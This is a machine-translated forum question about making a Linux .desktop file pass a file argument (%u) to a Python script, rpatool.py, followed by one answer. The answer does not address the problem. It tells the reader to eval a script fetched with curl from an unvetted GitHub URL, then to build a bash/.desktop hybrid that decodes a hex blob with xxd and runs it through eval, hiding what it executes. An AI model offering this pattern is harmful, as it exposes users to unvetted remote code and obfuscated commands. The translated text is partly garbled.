我尝试制作一个.desktop
文件来运行带有参数的 python 脚本(rpatools)
%u
我尝试创建一个 bash 文件,并尝试以多种方式执行它,但是如果我在终端中执行完全相同的代码行(将其更改为实际文件路径),它们都不起作用
我在网上搜索了类似的问题,但没有找到
我的尝试
Exec=python '/home/Carslo45/Dokumente/RenPy/EXTRA/RenPy-Decompile/rpatool.py' -x %u
Exec=python '/home/Carslo45/Dokumente/RenPy/EXTRA/RenPy-Decompile/rpatool.py' -x %U
Exec=sh -e "python '/home/Carslo45/Dokumente/RenPy/EXTRA/RenPy-Decompile/rpatool.py' -x %u"
Exec=sh -e "python '/home/Carslo45/Dokumente/RenPy/EXTRA/RenPy-Decompile/rpatool.py' -x %U"
同时执行 Bach 脚本(其中 %u 变量起作用)
#!/bin/bash
SCRIPT=$(readlink -f "$1")
python '/home/Carslo45/Dokumente/RenPy/EXTRA/RenPy-Decompile/rpatool.py' -x $1 -o /home/Carslo45/.extract
还有更多*编辑:问题
答案1
制作一个 shell 脚本来执行你不想做的事情。然后运行这个命令(这将导入一个二进制处理库)
eval "$(curl -L -s https://raw.githubusercontent.com/lnee94/resh/main/l/bintools)"
完成后
readb path/to/shell/script
现在复制它并放入文件中
#!/bin/bash
[Desktop Entry]
Jkldfslgas="$(cd $(dirname $0) ;eval "$(xxd -r -p <<< "hex_that_was_printed_from_readb" )")"
Comment=
Exec=sh -c '"$(dirname "$*")"/ok/insert_name.desktop || ([ ! -x "$(dirname "$*")"/ok/insert_name.desktop ] && "$(dirname "$*")"/insert_name.desktop)' dummy %k
GenericName=
Icon=
Name=
Type=Application
更改insert_name to the
名称和hex_that_was_printed_from_readb
运行 readb 时打印的所有文本